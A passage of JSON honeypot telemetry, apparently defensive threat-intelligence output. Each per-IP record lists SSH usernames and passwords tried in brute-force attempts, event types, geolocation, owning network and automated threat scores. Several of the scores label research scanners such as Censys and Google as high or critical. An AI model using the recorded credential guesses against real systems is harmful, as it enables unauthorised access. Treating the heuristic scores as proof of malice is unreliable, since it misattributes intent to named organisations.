        "total_events_30d": 6060,
        "days_active_30d": 26,
        "ports_targeted_30d": 71,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-03-02T00:04:11.918000+00:00",
        "last_seen_30d": "2026-03-27T12:38:01.590000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3850,
        "Honeytrap": 1859,
        "Miniprint": 120,
        "Dionaea": 69,
        "Cowrie": 22,
        "H0neytr4p": 22,
        "Tanner": 22,
        "Redishoneypot": 21,
        "Ciscoasa": 18,
        "Ipphoney": 18,
        "Mailoney": 18,
        "ElasticPot": 15,
        "ConPot": 6
      }
    },
    "144.79.133.252": {
      "attack_count": 20,
      "first_seen": "2026-03-06T07:29:35.137Z",
      "last_seen": "2026-03-06T07:31:36.896Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 153528,
      "as_org": "ExtentIT Solution Limited",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T07:29:35.137000+00:00",
        "last_seen_30d": "2026-03-06T07:32:38.205000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 12
      }
    },
    "153.101.132.65": {
      "attack_count": 20,
      "first_seen": "2026-03-04T00:26:23.724Z",
      "last_seen": "2026-03-23T23:46:48.668Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "pwserver",
        "socksuser"
      ],
      "passwords_attempted": [
        "1",
        "123",
        "12345",
        "cisco123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 33.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.1,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T00:26:23.724000+00:00",
        "last_seen_30d": "2026-03-23T23:47:48.990000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 12
      }
    },
    "38.146.29.17": {
      "attack_count": 20,
      "first_seen": "2026-03-28T21:27:37.256Z",
      "last_seen": "2026-03-28T21:36:35.756Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "El Segundo",
      "asn": 46783,
      "as_org": "EASY LINK LLC",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T21:27:37.256000+00:00",
        "last_seen_30d": "2026-03-28T21:37:36.706000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "38.188.160.123": {
      "attack_count": 20,
      "first_seen": "2026-03-10T23:18:29.655Z",
      "last_seen": "2026-03-10T23:41:32.745Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "MAXENCE",
        "area51",
        "lefebvre",
        "mallari1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:18:29.655000+00:00",
        "last_seen_30d": "2026-03-10T23:42:37.431000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "45.142.154.43": {
      "attack_count": 20,
      "first_seen": "2026-03-31T20:02:47.071Z",
      "last_seen": "2026-03-31T20:03:18.518Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "Accept: */*",
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9465,
      "as_org": "AGOTOZ PTE. LTD.",
      "threat_score": 69.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.2,
        "persistence": 22.5,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 27,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T06:38:03+00:00",
        "last_seen_30d": "2026-03-31T20:04:25.620000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55,
        "Honeytrap": 30,
        "Cowrie": 20
      }
    },
    "111.119.220.50": {
      "attack_count": 15,
      "first_seen": "2026-03-22T05:18:55.466Z",
      "last_seen": "2026-03-22T05:21:01.743Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 35.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.1,
        "persistence": 1.7,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 2,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-21T04:37:57.600000+00:00",
        "last_seen_30d": "2026-03-22T23:19:40.441000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "Tanner": 46,
        "Cowrie": 15,
        "Honeytrap": 2
      }
    },
    "103.191.63.170": {
      "attack_count": 10,
      "first_seen": "2026-03-05T14:24:37.773Z",
      "last_seen": "2026-03-05T14:28:26.602Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "Admin123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138115,
      "as_org": "PT Deneva",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T14:23:57.696000+00:00",
        "last_seen_30d": "2026-03-05T14:29:32.127000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8
      }
    },
    "91.196.152.2": {
      "attack_count": 9,
      "first_seen": "2026-03-14T09:55:33.635Z",
      "last_seen": "2026-03-21T01:22:12.547Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 83.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 29,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T23:31:16+00:00",
        "last_seen_30d": "2026-03-31T05:20:41.300000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 47,
        "Honeytrap": 23,
        "Cowrie": 9,
        "Tanner": 1
      }
    },
    "2.57.122.194": {
      "attack_count": 8,
      "first_seen": "2026-03-19T04:59:09.022Z",
      "last_seen": "2026-03-26T07:02:53.106Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T04:59:09.022000+00:00",
        "last_seen_30d": "2026-03-26T07:03:55.010000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "47.106.196.160": {
      "attack_count": 8,
      "first_seen": "2026-03-30T16:54:48.519Z",
      "last_seen": "2026-03-30T16:56:28.700Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T16:54:48.519000+00:00",
        "last_seen_30d": "2026-03-30T16:57:35.784000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "162.142.125.215": {
      "attack_count": 6,
      "first_seen": "2026-03-18T18:37:07.382Z",
      "last_seen": "2026-03-18T18:37:44.928Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 59.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.3,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 22,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T02:08:42+00:00",
        "last_seen_30d": "2026-03-23T14:58:59.670000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Honeytrap": 23,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Sentrypeer": 1
      }
    },
    "167.94.138.114": {
      "attack_count": 6,
      "first_seen": "2026-03-13T00:33:26.049Z",
      "last_seen": "2026-03-13T00:34:09.079Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 61.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.0,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 22,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T09:54:17.246000+00:00",
        "last_seen_30d": "2026-03-23T19:48:11.860000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Honeytrap": 30,
        "Cowrie": 6,
        "ElasticPot": 4,
        "Tanner": 3,
        "Honeyaml": 2,
        "Dionaea": 1
      }
    },
    "199.45.154.120": {
      "attack_count": 6,
      "first_seen": "2026-03-29T03:08:08.811Z",
      "last_seen": "2026-03-29T03:08:43.219Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 70.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 57,
        "days_active_30d": 28,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T11:38:36+00:00",
        "last_seen_30d": "2026-03-29T03:09:45.871000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Honeytrap": 24,
        "Cowrie": 6
      }
    },
    "206.168.34.122": {
      "attack_count": 6,
      "first_seen": "2026-03-18T18:36:39.239Z",
      "last_seen": "2026-03-18T18:37:24.852Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 57.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.0,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 22,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T20:17:45+00:00",
        "last_seen_30d": "2026-03-23T13:50:37.654000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Honeytrap": 41,
        "Cowrie": 6,
        "Sentrypeer": 1
      }
    },
    "66.132.172.205": {
      "attack_count": 6,
      "first_seen": "2026-03-20T23:16:34.777Z",
      "last_seen": "2026-03-20T23:17:09.346Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 70.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.0,
        "persistence": 10.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 12,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-20T23:16:34.777000+00:00",
        "last_seen_30d": "2026-03-31T10:11:07.405000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 65,
        "Honeytrap": 22,
        "Tanner": 8,
        "Cowrie": 6
      }
    },
    "103.171.69.80": {
      "attack_count": 5,
      "first_seen": "2026-03-02T03:13:43.876Z",
      "last_seen": "2026-03-02T03:13:46.654Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Qwerty@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T03:13:43.876000+00:00",
        "last_seen_30d": "2026-03-02T03:14:54.015000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "103.171.69.83": {
      "attack_count": 5,
      "first_seen": "2026-03-05T13:48:40.726Z",
      "last_seen": "2026-03-05T13:48:43.416Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "cc2024@#$"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T13:48:40.726000+00:00",
        "last_seen_30d": "2026-03-05T13:49:49.312000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "124.71.162.251": {
      "attack_count": 5,
      "first_seen": "2026-03-17T08:47:19.081Z",
      "last_seen": "2026-03-17T08:47:22.129Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "d"
      ],
      "passwords_attempted": [
        "1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 55990,
      "as_org": "Huawei Cloud Service data center",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T08:47:19.081000+00:00",
        "last_seen_30d": "2026-03-17T08:48:29.066000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "183.201.208.25": {
      "attack_count": 5,
      "first_seen": "2026-03-08T10:40:40.615Z",
      "last_seen": "2026-03-08T10:40:42.838Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kusanagi"
      ],
      "passwords_attempted": [
        "kusanagipass"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 132510,
      "as_org": "IDC ShanXi China Mobile communications corporation",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T10:40:40.615000+00:00",
        "last_seen_30d": "2026-03-08T10:41:49.874000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "185.220.101.97": {
      "attack_count": 5,
      "first_seen": "2026-03-05T14:41:19.189Z",
      "last_seen": "2026-03-05T14:41:23.523Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "sangoma"
      ],
      "passwords_attempted": [
        "Itsemoemo2026@Washere2026"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 4.2,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 5,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-05T14:41:19.189000+00:00",
        "last_seen_30d": "2026-03-09T20:56:30.665000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Ciscoasa": 7,
        "Cowrie": 5,
        "Honeytrap": 4
      }
    },
    "111.170.150.159": {
      "attack_count": 4,
      "first_seen": "2026-03-13T20:12:41.809Z",
      "last_seen": "2026-03-18T04:54:29.201Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 151185,
      "as_org": "China Telecom",
      "threat_score": 53.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.1,
        "persistence": 22.5,
        "diversity": 16,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 27,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:16:17.580000+00:00",
        "last_seen_30d": "2026-03-28T18:55:52.601000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4
      }
    },
    "143.198.70.32": {
      "attack_count": 4,
      "first_seen": "2026-03-29T05:32:48.239Z",
      "last_seen": "2026-03-29T05:32:56.352Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-29T05:32:48.239000+00:00",
        "last_seen_30d": "2026-03-29T05:34:01.148000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "164.90.180.24": {
      "attack_count": 4,
      "first_seen": "2026-03-29T06:18:48.597Z",
      "last_seen": "2026-03-29T06:19:08.598Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 63.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.7,
        "persistence": 2.5,
        "diversity": 18,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 3,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-29T06:17:34+00:00",
        "last_seen_30d": "2026-03-31T16:06:18.879000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 40,
        "Honeytrap": 12,
        "Cowrie": 4,
        "H0neytr4p": 1,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "205.210.31.194": {
      "attack_count": 4,
      "first_seen": "2026-03-23T04:09:16.836Z",
      "last_seen": "2026-03-23T04:09:20.166Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 30,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T03:26:25+00:00",
        "last_seen_30d": "2026-03-31T01:17:52.211000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 81,
        "Honeytrap": 32,
        "Miniprint": 9,
        "ConPot": 6,
        "Adbhoney": 4,
        "Cowrie": 4,
        "CitrixHoneypot": 1,
        "Dionaea": 1
      }
    },
    "45.156.87.50": {
      "attack_count": 4,
      "first_seen": "2026-03-08T09:07:59.139Z",
      "last_seen": "2026-03-08T14:06:38.857Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 6.7,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 8,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-06T02:34:56+00:00",
        "last_seen_30d": "2026-03-13T18:32:22.393000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 106,
        "Honeytrap": 72,
        "Cowrie": 4,
        "Tanner": 1
      }
    },
    "52.224.242.102": {
      "attack_count": 4,
      "first_seen": "2026-03-06T04:21:09.799Z",
      "last_seen": "2026-03-06T04:21:20.406Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 43.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.8,
        "persistence": 16.7,
        "diversity": 10,
        "spread": 20,
